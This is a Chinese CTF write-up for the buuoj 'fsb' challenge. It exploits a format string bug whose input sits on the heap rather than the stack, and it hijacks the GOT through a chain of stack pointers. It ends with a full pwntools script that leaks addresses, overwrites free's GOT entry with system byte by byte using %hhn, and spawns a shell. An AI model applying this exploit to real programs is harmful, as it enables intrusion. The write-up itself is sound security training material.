buuoj [第六章 CTF之PWN章]fsb

非栈上的格式化字符串漏洞 + 劫持GOT表

瞅瞅检查

在这里插入图片描述
开了NX、canary跟PIE。

RELRO没有开,可以考虑劫持GOT表。

在这里插入图片描述
进去是个循环

在这里插入图片描述
里面是个格式化字符串漏洞。

因为它开的空间是堆上的,所以常规栈上的格式化字符串漏洞不能用。

在这里插入图片描述
非栈上的格式化字符串漏洞

非栈上的格式化字符串漏洞的话,先在printf处下断点。
在这里插入图片描述
总体思路
满足利用要求的三个指针分别在printf第10、16、20个参数的位置。该程序在循环执行20次输入、输出前申请了一个内存块,用于存放输入的字符串,循环结束后会释放掉这个内存然后退出程序。我们将0x7ffffffee080处的值修改为GOT表中free函数的地址,再将其中的函数指针改为system函数的地址,这样在执行free函数时,实际执行的就是system,只要输入‘/bin/sh’就可以拿到shell。

具体实现
先泄露栈地址,ELF程序地址,libc地址,分别在栈上找到偏移,然后泄露出来。

因为我们输入的东西在堆上,所以不能通过常规的写入GOT表地址然后劫持,只能先把地址写在栈上,然后劫持。
在栈上写地址的时候又要注意,不能直接写,因为要写的地址是一个大数字,不能一下写进去,printf的缓冲区开不了那么大,所以只能一个字节一个字节写。
假设我们现在能控制栈里面的三个地方,分别是p1,p2,p3,p1里面放着p2,p2里面放着p3,p3里面放着一个我们要替换的地址,我们需要讲p3中的地址覆盖成free_got,那么我们需要通过p2写,但是需要一个字节一个字节写,所以需要修改p2,那么就需要p1来修改p2,从而达到一个链。
往free_got中写system一个道理,链q1是p2,q2对应p3,free_got对应p3。

from pwn import *

p=process('./fsb2')
libc = ELF('./libc-2.27.so')
elf = ELF('./fsb2')

p.recvuntil('name:')
p.sendline('%10$p%11$p%21$p')

p.recvuntil('0x')
stack_addr = int(p.recvuntil('0x')[:-2],16)
addr1 = int(p.recvuntil('0x')[:-2],16)
base = addr1 - elf.symbols['vuln']-0x3f
addr2 = int(p.recvuntil('\n')[:-1],16)
libc_base = addr2 - libc.symbols['__libc_start_main']-0xe7

p1 = stack_addr-48
p2 = stack_addr
p3 = stack_addr+32

free_got = base + elf.got['free']
system = libc_base + libc.symbols['system']

#overwrite p3 to free_got
for i in range(0,6):
	x = 5-i
	off = (p3+x)&0xff
	p.recvuntil('name')
	p.sendline("%"+str(off)+"c%10$hhn"+'\x00'*50)

	ch = (free_got>>(x*8))&0xff
	p.recvuntil('name')
	p.sendline("%"+str(ch)+"c%16$hhn"+'\x00'*50)

#overwrite free_got to system
for i in range(0,6):
	off = (free_got+i)&0xff
	p.recvuntil('name')
	p.sendline("%"+str(off)+"c%16$hhn"+'\x00'*50)

	ch = (system>>(i*8))&0xff
	p.recvuntil('name')
	p.sendline("%"+str(ch)+"c%20$hhn"+'\x00'*50)

for i in range(30-25):
	p.recvuntil('name')
	p.sendline('/bin/sh'+'\x00'*100)

p.interactive()
  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 7
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 7
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值